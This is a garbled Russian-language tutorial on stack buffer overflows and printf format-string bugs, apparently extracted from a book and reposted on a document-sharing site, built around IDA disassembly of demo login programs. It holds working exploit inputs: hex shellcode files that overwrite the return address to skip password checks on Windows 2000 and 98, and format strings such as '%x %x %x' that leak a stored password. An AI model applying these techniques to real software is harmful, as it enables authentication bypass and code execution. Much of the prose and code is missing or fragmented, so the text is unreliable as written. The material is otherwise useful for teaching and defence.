Documente online.
Zona de administrare documente. Fisierele tale
Am uitat parola x Creaza cont nou
 HomeExploreaza
upload
Upload




Технология срыва стека

Rusa




.а что может человек потерять? Не жизнь, потому что он ею не владеет. Он только бе 23323j99x рет ее в аренду. Он может потерять лишь деньги, а какого дьявола стоят деньги по сравнению с личностью? Это и есть один из способов прожить жизнь, все из нее извлечь. Человек ее сохраняет или лишается, поставив на карту все.

buffer overflows

Intel x CALL

этой ячейки. Например, состояние стека при вызове функции myfunct

myfunct()

A

buf[0]

buf[1]

buf[2]

buf[3]

buf[4]

B

Стек функции, вызвавшей myfunt

buff myfunct myfunct

/SRC/buff.demo.c.

#include <stdio.h>

#include <string.h>

root()

auth()

main()

gets , ее «хвост» затрет адрес возврата функции и дальнейшее выполнение программы окажется невозможным.

Windows  qwerty unknown software exception xc x ffc

root

.

Intel  x IDA PRO , однако, можно воспользоваться и другими инструментами, такими как SOURCER W Dasm DumpBin Windows

buff.demo.exe /LOG/buff.demo.lst Auth

.text:00401000 ; Segment type: Pure code

.text:00401000 _text segment para public 'CODE' use32

.text:00401000 assume cs:_text

.text:00401000 ;org 401000h

.text:00401000 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

.text:00401000 Root proc near

.text:00401000 ; Функции root расположена по адресу 0x401000

.text:00401000 push ebp

.text:00401000 ; ... назначение процедуры root значение не имеет

.text:00401000

.text:00401000 ;... а расположена она по адресу 0x401000

.text:00401001 mov ebp, esp

.text:00401003 push offset aHelloRoot ; "Hello, Root!\n"

.text:00401008 call _printf

.text:0040100D add esp, 4

.text:00401010 pop ebp

.text:00401011 retn

.text:00401011 Root endp

.text:00401012

.text:00401012 ;

.text:00401012

.text:00401012 ; Attributes: bp-based frame

.text:00401012

.text:00401012 auth proc near ; CODE XREF: main+10p

.text:00401012

.text:00401012 var_18 = byte ptr -18h

.text:00401012 var_C = byte ptr -0Ch

.text:00401012 ; Так IDA обозначает локальные переменные, а цифры указывают относительное

.text:00401012 ;

.text:00401012 ;

.text:00401012 push ebp

.text:00401012 ; В стек заносится регистр ebp, значение указателя стека уменьшается на 4

.text:00401013 mov ebp, esp

.text:00401013 ;

.text:00401013 ; В регистр ebp заносится значение регистра указателя стека esp.

.text:00401013 ; Регистр ebp будет использоваться для адресации локальных переменных относительно конца кадра стека

.text:00401015 sub esp, 18h

.text:00401015 ; Резервируется 0x18 (24 в десятичной нотации) байт под локальные переменные

.text:00401015 ;

.text:00401015 Для ускорения доступа к данным компилятор размещает начала каждого из буферов по адресам, кратным

.text:00401015 ; четырем байтам, так называемое выравнивание.

.text:00401015 ; Таким образом на данный момент стек выглядит так:

.text:00401015 ;

.text:00401015 ; Относительный адрес Содержимое ячейки

.text:00401015 ; - 0x18 буфер var_18[0]

.text:00401015 ; - 0x17 буфер var_18[1]

.text:00401015 ; - 0x16 буфер var_18[2]

.text:00401015 ; - 0x15 буфер var_18[3]

.text:00401015 ; - 0x14 буфер var_18[4]

.text:00401015 ; - 0x13 буфер var_18[5]

.text:00401015 ; - 0x12 буфер var_18[6]

.text:00401015 ; - 0x11 буфер var_18[7]

.text:00401015 ; - 0x10 буфер var_18[8]

.text:00401015 ; - 0x0F буфер var_18[9]

.text:00401015 ; - 0x0E дырка для выравнивания

.text:00401015 ; - 0x0D дырка для выравнивания

.text:00401015 ; - 0x0С буфер var_С[0] 01

.text:00401015 ; - 0x0B буфер var_С[1] 02

.text:00401015 ; - 0x0A var_ 03

.text:00401015 ; - 0x09 буфер var_С[3] 04

.text:00401015 ; - 0x08 буфер var_С[4] 05

.text:00401015 ; - 0x07 буфер var_С[5] 06

.text:00401015 ; - 0x06 буфер var_С[6] 07

.text:00401015 ; - 0x05 буфер var_С[7] 08

.text:00401015 ; - 0x04 буфер var_С[8] 09

.text:00401015 ; - 0x03 буфер var_С[9] 10

.text:00401015 ; - 0x02 дырка для выравнивания 11

.text:00401015 ; - 0x01 дырка для выравнивания 12

.text:00401015 ; 0x00 значение регистра ebp[0] 13

.text:00401015 ; + 0x01 значение регистра ebp[1] 14

.text:00401015 ; + 0x02 значение регистра ebp[2] 15

.text:00401015 ; + 0x03 значение регистра ebp[3] 16

.text:00401015 ; + 0x04 значение регистра eip[0] (адрес возврата) 17

.text:00401015 ; + 0x05 значение регистра eip[1] (адрес возврата) 18

.text:00401015 ; + 0x06 значение регистра eip[2] (адрес возврата) 19

.text:00401015 ; + 0x07 значение регистра eip[3] (адрес возврата) 20

.text:00401015 ; Таким образом, байты с 17 до 20 (не считая нуля завершающего строку) из буфера var_c затирают

.text:00401015 :

.text:00401015 ; завершающий ноль вызовет модификацию младшего байта адреса возврата.

.text:00401015 ; Остается отождествить буфер var_c - что он собой представляет имя пользователя или пароль?

.text:00401018 push offset aLogin ; "Login:"

.text:00401018 ; В стек заносится смещение строки "Login", значение указателя стека уменьшается на 4

.text:00401018 ; Это первый (и единственный) аргумент функции printf

.text:0040101D call _printf

.text:0040101D ; Вывод на экран приглашения "Login:"

.text:00401022 add esp, 4

.text:00401022 ;

.text:00401025 ; строки "Login". Си-функции не очищают стек после своего завершения

.text:00401025 lea eax, [ebp+var_C]

.text:00401025 ; В регистр eax заносится смещение буфера var_c, для последующей передачи его функции gets, читающей

.text:00401025 ; строку с клавиатуры.

.text:00401025 ; Следовательно, буфер var_c содержит имя пользователя

.text:00401028 push eax

.text:00401028 ; Значение eax заносится в стек

.text:00401029 call _gets

.text:00401029 ; Вызов функции _gets

.text:0040102E add esp, 4

.text:0040102E ; Удаление двойного слова из стека (для очистки аргумента функции gets)

.text:00401031 push offset aPassw ; "Passw:"

.text:00401031 ; Занесение в стек строки «Passw»

.text:00401036 call _printf

.text:00401036 ; Вывод строки "Passw" на экран с помощью функции printf

.text:0040103B add esp, 4

.text:0040103B ;

.text:0040103E lea ecx, [ebp+var_18]

.text:0040103E ; В регистр ecx заносится смещение буфера var_18 для последующей передачи его функции gets,

.text:0040103E ; читающей строку с клавиатуры. Следовательно, буфер var_18 содержит пароль

.text:00401041 push ecx

.text:00401041 ; Передача аргумента функции gets

.text:00401042 call _gets

.text:00401042 ; Чтение пароля в буфер var_18

.text:00401047 add esp, 4

.text:00401047

.text:0040104A push offset aGuest ; "guest"

.text:0040104A ; Занесение в стек смещения строки Guest для сравнения ее с введенным паролем

.text:0040104F lea edx, [ebp+var_18]

.text:0040104F ; В регистр edx заносится смещение буфера, содержащего введенный пароль

.text:00401052 push edx

.text:00401052 ;

.text:00401052 ;

.text:00401053 call _strcmp

.text:00401053 ; Вызов функции strcmp(&pass[0],"Guest")

.text:00401058 add esp, 8

.text:00401058 ;

.text:0040105B test eax, eax

.text:0040105B ; Значение, возвращаемое функцией помещается в регистр eax

.text:0040105B ;

.text:0040105B ; если eax равен нулю, команда test выставляет флаг нуля

.text:0040105D jnz short loc_0_401066

.text:0040105D ; Если флаг не установлен (пароль не равен "Guest"), переход по адресу 401066

.text:0040105F mov eax, 1

.text:0040105F ; В регистр eax заносится значение 1, которое будет возвращено при выходе из нее

.text:00401064 jmp short loc_0_401068

.text:00401064 ;

.text:00401066 ;

.text:00401066

.text:00401066 loc_0_401066: ; CODE XREF: auth+4Bj

.text:00401066 xor eax, eax

.text:00401068 ; Обнулить значение регистра eax

.text:00401068 loc_0_401068: ; CODE XREF: auth+52j

.text:00401068 mov esp, ebp

.text:00401068 ; Восстановить значение регистра esp, который должен указывать на сохраненный в стеке регистр ebp

.text:0040106A pop ebp

.text:0040106A ; Восстановить ebp

.text:0040106B retn

.text:0040106B ; Выйти из функции. Команда retn снимает из стека двойное слово, которое при

.text:0040106B ;

.text:0040106B ; (смотри функцию main)

.text:0040106B auth endp

.text:0040106B

.text:0040106C

.text:0040106C ;

.text:0040106C

.text:0040106C ; Attributes: bp-based frame

.text:0040106C

.text:0040106C main proc near ; CODE XREF: start+AFp



.text:0040106C push ebp

.text:0040106C ; Занесение в стек значение регистра ebp

.text:0040106D mov ebp, esp

.text:0040106D ;

.text:0040106F push offset aBufferOverflow ; "Buffer Overflows Demo\n"

.text:0040106F ; Занесение в стек смещения строки " Buffer Overflows Demo" для вывода ее на экран

.text:00401074 call _printf

.text:00401074 ; Вызов функции printf("Buffer  Overflows Demo\n")

.text:00401079 add esp, 4

.text:00401079 ;

.text:0040107C call Auth

.text:0040107C ; Вызов функции Auth(). В стек заносится адрес следующей за call команды, т.е. 00401081

.text:00401081 test eax, eax

.text:00401081 ; Функция Auth возвратила нулевое значение?

.text:00401083 jz short loc_0_401094

.text:00401083 ;

.text:00401085 push offset aPasswordOk ; "Password ok\n"

.text:00401085 ; Занесение в стек смещения строки «Password Ok"

.text:0040108A call _printf

.text:0040108A ; Вызов функции printf("Password OK\n");

.text:0040108F add esp, 4

.text:0040108F ;

.text:00401092 jmp short loc_0_4010A1

.text:00401092 ; Переход по адресу 4010A1

.text:00401094 ;

.text:00401094

.text:00401094 loc_0_401094: ; CODE XREF: main+17j

.text:00401094 push offset aInvalidPasswor ; "Invalid password\n"

.text:00401094 ; Занесение в стек строки " Invalid password"

.text:00401099 call _printf

.text:00401099 ; Вызов функции printf("Invalid password\n")

.text:0040109E add esp, 4

.text:0040109E ;

.text:004010A1

.text:004010A1 loc_0_4010A1: ; CODE XREF: main+26j

.text:004010A1 pop ebp

.text:004010A1 ; Восстановление ebp

.text:004010A2 retn

.text:004010A2 ;

.text:004010A2 main endp

.data:00406030 aHelloRoot db 'Hello, Root!',0Ah,0 ; DATA XREF: .text:00401003o

.data:0040603E align 4

.data:00406040 aLogin db 'Login:',0 ; DATA XREF: auth+6o

.data:00406047 align 4

.data:00406048 aPassw db 'Passw:',0 ; DATA XREF: auth+1Fo

.data:0040604F align 4

.data:00406050 aGuest db 'guest',0 ; DATA XREF: auth+38o

.data:00406056 align 4

.data:00406058 aBufferOverflow db 'Buffer Overflows Demo',0Ah,0 ; DATA XREF: main+3o

.data:0040606F align 4

.data:00406070 aPasswordOk db 'Password ok',0Ah,0 ; DATA XREF: main+19o

.data:0040607D align 4

.data:00406080 aInvalidPasswor db 'Invalid password',0Ah,0 ; DATA XREF: main+28o

0x401000

root() root() 0x401000 EIP retn root().

- 0x0С user[0] 01 X

- 0x0B user[1] 02 X

- 0x0A user[2] 03 X

- 0x09 user[3] 04 X

- 0x08 user[4] 05 X

- 0x07 user[5] 06 X

- 0x06 user[6] 07 X

- 0x05 user[7] 08 X

- 0x04 user[8] 09 X

- 0x03 user[9] 10 X

- 0x02 11 X

- 0x01 12 X

0x00 ebp[0] 13 X

+ 0x01 ebp[1] 14 X

+ 0x02 ebp[2] 15 X

+ 0x03 ebp[3] 16 X

+ 0x04 eip[0] 81

+ 0x05 eip[1] 10

+ 0x06 eip[2] 40

+ 0x07 eip[3] 00

"Hello, Root!" root()

root() Windows 2000

Root

Root retn, в 0x401011, "

start()

0012FF74 7 8787878

0012FF78 78787878 EBP Auth;

0012FF7C 00401000 auth root

0012FF80 0012FFC0 EBP main

0012FF84 00401262 main

"main" (0x401262), EBP (0x12FFC0) main() PUSH EBP 40106C "Auth" (0x401000)

Auth() retn 0x401000) root() retn 0x12FFC0,

Root

буфера, содержащего введенную пользователем строку. Тогда эта строка станет интерпретироваться как машинный код и выполнится прямо в стеке (не все микропроцессоры и не все операционные допускают выполнение кода в стеке, но в подавляющем большинстве случаев такой трюк возможен).

ESP Windows Soft-Ice NuMega Microsoft Visual Studio.

x EAX Windows 2000 0x12FF6C Windows 98 - 0x63FDE4

EBP "MOV EAX,1" EAX

if (auth())

printf("Password ok\n");

else

printf("Invalid password\n");

Windows 2000 : "?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6C FF 12" Windows 98 (Windows 95) "?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E4 FD 63"

"MOV EAX, const" "B8 x x x x" "x" "MOV EAX, 0x31323334" "B8 34 33 32 31"

JMP "JMP label" Intel 80x86 JMP JMP) : "JMP reg" reg -

MOV REG, 0x00401081[6]" ECX "0x40" MOV CX,0x1018

MOV EAX,0x31323334

MOV CX, 0x1081

JMP ECX

HIEW

00000000: B834333231 mov eax,031323334 ;"1234"

00000005: 66B98110 mov cx,01081 ;"►?"

00000009: FFE1 jmp ecx

/SRC buff.demo.2000.key

B8 34 33 32 31 66 B9 81 │ 10 FF E1 66 66 66 66 66 ╕4321f╣Б► сfffff

6C FF 12 0D 0A 0D 0A │ l ↕♪◙♪◙

<CRLF> "buff.demo.exe < buff.demo.2000.key"

F:\TPNA\src>buff.demo.exe

Buffer Overflows Demo

Login:╕1234f╣Б^P с12345l ^R

Passw:

Password ok

UNIX

Windows 98 0x12FF6C x63FDE4 ( Windows 98 Alt

B8 34 33 32 31 66 B9 81 │ 10 FF E1 66 66 66 66 66 ╕4321f╣Б► сfffff

E4 FD 63 0D 0A 0D 0A │ l ↕♪◙♪◙

Windows 98 0x63FDE8

Windows 98 /SRC/buff.demo.98.key

31 32 33 34 B8 01 02 03 │ 04 66 B9 81 10 FF E1 31 1234╕☺☻♥♦f╣Б► с1

E8 FD 63 0D 0A 31 32 33 │ 34 0D 0A ш¤c♪◙1234♪◙

Windows 98

buff.demo.exe <buff.demo.98.key

Buffer Overflows Demo

Login:Passw:Password ok

/SRC/buff.printf.c

#include <string.h>

void main()

"buff.psw" , он никак не сможет обойти защиту . Кажется, в десятке строк трудно ошибиться, и никаких дыр тут нет.

"printf" . Одни из его недостатков заключается в том, что функция не может определить сколько ей было передано параметров. Поэтому, функциям с переменным количеством аргументов, приходится каким-то образом передавать и число этих самых аргументов.

"printf" "printf("Name: %s\nAge: %d\ nIndex: %x\n",&s[0],age,index)"

"printf"

/SRC/printf.bug

#include <stdio.h>

main()

Microsoft Visual Studio 5.0-6.0

'a' 'b'? ( 'b'

.text:00401000 main proc near.text:00401000

.text:00401000 var_8 = dword ptr -8

.text:00401000 var_4 = dword ptr -4

.text:00401000

.text:00401000  push ebp

.text:00401001  mov ebp, esp

.text:00401001

.text:00401003  sub esp, 8

.text:00401003 ; esp 0 (



.text:00401006  mov [ebp+var_4], 666h

.text:00401006 ; var_4 - a

.text:0040100D  mov [ebp+var_8], 777h

.text:0040100D ; var_8 - b

.text:00401014  mov eax, [ebp+var_4]

.text:00401014 eax переменной 'a' printf

.text:00401017  push eax

.text:00401017 eax

.text:00401018  push offset aXX ; "%x %x\n"

.text:00401018 ;

.text:00401018 ;

.text:00401018 ; +8 off aXX '%x %x') (

.text:00401018 ; +4 var_4 ('a') ( printf)

.text:00401018 ; 0 var_8 b (

.text:00401018 ; -4 var_4 ('a') (локальная переменная)

.text:0040101D  call printf

.text:0040101D printf

.text:00401022  add esp, 8

.text:00401022 ;

.text:00401025  mov esp, ebp

.text:00401025

.text:00401027  pop ebp

.text:00401028  retn

.text:00401028 main  endp

printf :

+8 off aXX '%x %x') (

var_4 ('a') ( printf)

0 var_8 b (

-4 var_4 ('a') (локальная переменная)

"%x %x) "%x" , переданное в стек по значению. Для сравнения - вот как выглядит стек на момент вызова функции "printf" /SRC/printf.demo.c

main()

off aXX '%x %x') (

var_4 ('a') ( printf)

var_8 b ( printf)

0 var_8 b (

4 var_4 ('a')

/SRC/printf.demo.lst +4 расположен второй аргумент функции. Если же его не передать, то функция примет за аргумент любое значение, расположенное в этой ячейке.

+8 off aXX '%x %x') (

var_4 ('a') ( printf)

0 var_8 b (

-4 var_4 ('a') (локальная переменная)

'b'

buff.printf.c /SRC/demo.printf.lst

.text:00401000 ;

.text:00401000

.text:00401000 ; Attributes: bp-based frame

.text:00401000

.text:00401000 main proc near ; CODE XREF: start+AFp

.text:00401000

.text:00401000 var_54 = byte ptr -54h

.text:00401000 var_44 = byte ptr -44h

.text:00401000 var_34 = byte ptr -34h

.text:00401000 var_14 = dword ptr -14h

.text:00401000 var_10 = byte ptr -10h

.text:00401000

.text:00401000 push ebp

.text:00401001 mov ebp, esp

.text:00401001

.text:00401003 sub esp, 54h

.text:00401003 ; Резервируется 0x54 байта для локальных переменных

.text:00401006 push offset aPrintfBugDemo ; "printf bug demo\n"

.text:00401006 ; Занесение в стек строки " printf bug demo"

.text:0040100B call _printf

.text:0040100B ; Вызов printf("printf bug demo\n")

.text:00401010 add esp, 4

.text:00401010

.text:00401013 push offset aR ; "r"

.text:00401013 ; Занесение в стек смещения строки "r"

.text:00401018 push offset aBuff_psw ; "buff.psw"

.text:00401018 ; Занесение в стек смещения строки "buff.psw"

.text:0040101D call _fopen

.text:0040101D ; Вызов fopen("buff.psw","r");

.text:00401022 add esp, 8

.text:00401022 ;

.text:00401025 mov [ebp+var_14], eax

.text:00401025 ; Переменная var_14 представляет собой указатель файла psw

.text:00401028 cmp [ebp+var_14], 0

.text:00401028 ;

.text:0040102C jnz short loc_0_401033

.text:0040102C

.text:0040102E jmp loc_0_4010CD

.text:0040102E

.text:00401033 ;

.text:00401033

.text:00401033 loc_0_401033: ; CODE XREF: main+2Cj

.text:00401033 mov eax, [ebp+var_14]

.text:00401033 ; Занесение в регистр EAX указателя на файловый манипулятор psw

.text:00401036 push eax

.text:00401036 ; Заталкивание psw в стек

.text:00401037 push 8

.text:00401037

.text:00401039 lea ecx, [ebp+var_54]

.text:00401039 ; Занесение в регистр ECX смещения начала буфера var_54

.text:0040103C push ecx

.text:0040103C

.text:0040103D call _fgets

.text:0040103D Вызов fgets(&_pass[0],8,psw)

.text:0040103D Буфер var_54 представляет собой _pass

.text:00401042 add esp, 0Ch

.text:00401042

.text:00401045 push offset aLogin ; "Login:"

.text:00401045 ; Заталкивание в стек смещения строки "Login:"

.text:0040104A call _printf

.text:0040104A Вызов printf("Login:")

.text:0040104F add esp, 4

.text:0040104F

.text:00401052 push offset off_0_407090

.text:00401052 ; Заталкивание в стек указателя на манипулятор stdin

.text:00401057 push 0Ch

.text:00401057 ; Заталкивание в стек константы 0xC

.text:00401059 lea edx, [ebp+var_10]

.text:00401059 ; Занесение в регистр EDX указателя на буфер var_10 (user)

.text:0040105C push edx

.text:0040105C

.text:0040105D call _fgets

.text:0040105D ; Вызов (&user[0],0xC,stdin)

.text:00401062 add esp, 0Ch

.text:00401062

.text:00401065 push offset aPassw ; "Passw:"

.text:00401065 ; Заталкивание в стек указателя на строку Passw

.text:0040106A call _printf

.text:0040106A ; Вызов printf("Passw:")

.text:0040106F add esp, 4

.text:0040106F

.text:00401072 push offset off_0_407090

.text:00401072 Заталкивание в стек указателя на манипулятор stdin

.text:00401077 push 0Ch

.text:00401077 ; Заталкивание в стек константы 0xC

.text:00401079 lea eax, [ebp+var_44]

.text:00401079 ; Занесение в регистр EAX указателя на буфер var_44 (pass)

.text:0040107C push eax

.text:0040107C

.text:0040107D call _fgets

.text:0040107D ; fgest(&pass[0],0xC,stdin)

.text:00401082 add esp, 0Ch

.text:00401082

.text:00401085 lea ecx, [ebp+var_54]

.text:00401085 ; Занесение в регистр ECX указателя на буфер var_54 (_pass)

.text:00401088 push ecx

.text:00401088

.text:00401089 lea edx, [ebp+var_44]

.text:00401089 ; Занесение в регистр EDX указателя на буфер var_54 (pass)

.text:0040108C push edx

.text:0040108C

.text:0040108D call _strcmp

.text:0040108D ; Вызов strcmp(&_pass[0],&pass[0])

.text:00401092 add esp, 8

.text:00401092

.text:00401095 test eax, eax

.text:00401095

.text:00401097 jz short loc_0_4010B0

.text:00401097

.text:00401099 lea eax, [ebp+var_44]

.text:00401099 ; Занесение в регистр EAX указателя на буфер var_44 (pass)

.text:0040109C push eax

.text:0040109C

.text:0040109D push offset aInvalidPasswor ; "Invalid password: %s"

.text:0040109D ; Заталкивание в стек указателя на строку "Invalid password: %s"

.text:004010A2 lea ecx, [ebp+var_34]

.text:004010A2 ; Занесение в регистр ECX указателя на буфер var_34 (buff)

.text:004010A5 push ecx

.text:004010A5

.text:004010A6 call _sprintf

.text:004010A6 ; Вызов sprintf(&buff[0],"Invalid password: %s",&pass[0])

.text:004010AB add esp, 0Ch

.text:004010AB ;

.text:004010AE jmp short loc_0_4010C1

.text:004010B0

.text:004010B0

.text:004010B0 loc_0_4010B0: ; CODE XREF: main+97j

.text:004010B0 push offset aPasswordOk ; "Password ok\n"

.text:004010B0 ; Заталкивание в стек указателя на строку "Password ok"

.text:004010B5 lea edx, [ebp+var_34]

.text:004010B5 ; Занесение в регистр EDX указателя на начало буфера var_34 (buff)

.text:004010B8 push edx

.text:004010B8

.text:004010B9 call _sprintf

.text:004010B9 ; Вызов spritnf(&buff[0],"Password ok\n");

.text:004010BE add esp, 8

.text:004010BE

.text:004010C1

.text:004010C1 loc_0_4010C1: ; CODE XREF: main+AEj

.text:004010C1 lea eax, [ebp+var_34]

.text:004010C1 ; Занесение в регистр EAX указателя на начало буфера var_34 (buff)

.text:004010C4 push eax

.text:004010C4

.text:004010C4 ; Состояние стека (жирным шрифтом выделен аргумент функции printf)

.text:004010C4 ; -0x04 var_34 (buff)

.text:004010C4 ; 0x00 var_54 (_pass)

.text:004010C4 ; -0x10 var_44 (pass)

.text:004010C4 ; -0x20 var_34 (buff)

.text:004010C4 ; -0x40 var_14 (psw)

.text:004010C4 ; -0x44 var_10 (user)

.text:004010C5 call _printf

.text:004010C5 ; Вызов printf(&buff[0])

.text:004010CA add esp, 4

.text:004010CA

.text:004010CD

.text:004010CD loc_0_4010CD: ; CODE XREF: main+2Ej

.text:004010CD mov esp, ebp

.text:004010CD

.text:004010CF pop ebp

.text:004010CF ; Восстановление регистр EBP

.text:004010D0 retn

.text:004010D0

.text:004010D0 main endp

pritnf

-0x04 var_34 (buff)

0x00 var_54 (_pass)

-0x10 var_44 (pass)

-0x20 var_34 (buff)

-0x40 var_14 (psw)

-0x44 var_10 (user)

"printf "

printf(&buff[0]) buff



buff.printf.exe

printf bug demo

Login:kpnc

Passw:%x %x %x

Invalid password: 5038394b a2a4e 2f4968

Intel

.txt

"K98PN*".

buff.printf.exe

printf bug demo

Login:kpnc

Passw:K98PN*

Password ok

"%s"

%s

"%s", на строку, а не саму строку. Поэтому, происходит попытка обращения по адресу 0x5038384B ("K98PN"

"%s" (на диске, прилагаемом к книге, он содержится в файле /SRC/buff.printf.%s.c

#include <stdio.h>

#include <string.h>

#include <malloc.h>

void main()

, области памяти выделенной функцией malloc "%s",

buff.printf.%s.exe

Passw:%s

K98PN*

"%s" /SRC/buff.pritnf.dump.c

#include <stdio.h>

#include <string.h>

void main()

"%x%sXXXX" "XXXX" "%x" "%x%s" "XXXX"

0x401001 0x1, 0x10 0x40 Ctrl

buff.printf.dump.exe

printf dump demo

Login:%x%s^A^P@

73257825ЛьГь►h0`@☺►@

"%x" qview

00000020: 8BEC  mov ebp,esp

00000022: 83EC10  sub esp,00000010

push 00406030

demo.printf.dump.exe IDA:

text:00401000  sub_0_401000 proc near ; CODE XR

text:00401000

text:00401000  var_11 = byte ptr -11h

text:00401000  var_10 = byte ptr -10h

text:00401000

text:00401000 55 push ebp

text:00401001 8B EC mov ebp, esp

text:00401003 83 EC 10 sub esp, 10h

text:00401006 68 30 60 40 00 push offset aPrintfDumpDemo ;

text:0040100B E8 DB 01 00 00 call sub_0_4011EB

"%c" buff.printf.demo "%x" "%c"

buff.printf.exe

printf bug demo

Login:kpnc

Passw:%c%c

Invalid password: KN

"%x"

printf

Kri%s /SRC/buff.printf.nobug.c

#include <stdio.h>

#include <string.h>

void main()

demo.printf.c printf

buff.printf.nobug.exe

printf bug demo

Login:kpnc

Passw:%x

Invalid password: %x

/SRC/buff.arg.c

#include <stdio.h>

#include <string.h>

void main (int argc, char ** argv)

на десяти символьных строках!

if (p>strlen(str)) break if (p>(strlen(str)-1)) break

EBP[15]

/SRC/buff.var.c noguest

#include <stdio.h>

#include <string.h>

main (int argc,char **argv)

else

}

if ((!strcmp("KPNC++\n",&pass[0])) || (!noguest))

printf("Password ok\n");

else

printf("Wrong password\n");

}

"noguest" buff if (strlen(argv[a])>16). "noguest"

buff.var.exe 1234567890123456

Password ok

buff.var.exe 12345678901234567

Too long arg: 12345678901234567

Wrong password

и ничего не произойдет. Следующая за буфером переменная должна быть критична к обнулению, т.е. если программист открывал бы доступ на машину при ненулевом значении флага guest

/SRC/buff.var.2.c

#include <stdio.h>

#include <string.h>

main (int argc,char **argv)


else

}

if ((!strcmp("KPNC++\n",&pass[0])))

printf("Password ok\n");

else

printf("Wrong password\n");

'a' EBP EBP

/SRC/buff.ebp.c

#include <stdio.h>

#include <string.h>

int Auth()

main (int argc,char **argv)

EBP guest

EBP EBP

.text:00401040 Main proc near ; CODE XREF: start+AFp

.text:00401040

.text:00401040 var_4 = dword ptr -4

.text:00401040

.text:00401040  push ebp

.text:00401041  mov ebp, esp

.text:00401043  push ecx

.text:00401044  push offset aChahgeEbp ; "Chahge EBP\n"

.text:00401049  call sub_0_401214

.text:0040104E  add esp, 4

.text:00401051  call Auth

.text:00401056  mov [ebp+var_4], eax

.text:00401059  cmp [ebp+var_4], 0

.text:0040105D  jz short loc_0_40106E

.text:0040105F  push offset aPasswordOk ; "Password ok\n"

.text:00401064  call sub_0_401214

.text:00401069  add esp, 4

.text:0040106C  jmp short loc_0_40107B

.text:0040106E ;

.text:0040106E

.text:0040106E loc_0_40106E: ; CODE XREF: Main+1Dj

.text:0040106E  push offset aWrongPassword ; "Wrong password\n"

.text:00401073 call sub_0_401214

.text:00401078  add esp, 4

.text:0040107B

.text:0040107B loc_0_40107B: ; CODE XREF: Main+2Cj

.text:0040107B  mov esp, ebp

.text:0040107D  pop ebp

.text:0040107E  retn

ESP EBP ESP ESP EBP EBP ESP

EBP



Microsoft Visual C++ 6.0 user pass

IDA

0x401018 Auth

Windows 2000

buff.psw

printf.bug.c x401003)

ESP EBP




Document Info


Accesari: 2668
Apreciat: hand-up

Comenteaza documentul:

Nu esti inregistrat
Trebuie sa fii utilizator inregistrat pentru a putea comenta


Creaza cont nou

A fost util?

Daca documentul a fost util si crezi ca merita
sa adaugi un link catre el la tine in site


in pagina web a site-ului tau.




eCoduri.com - coduri postale, contabile, CAEN sau bancare

Politica de confidentialitate | Termenii si conditii de utilizare




Copyright © Contact (SCRIGROUP Int. 2025 )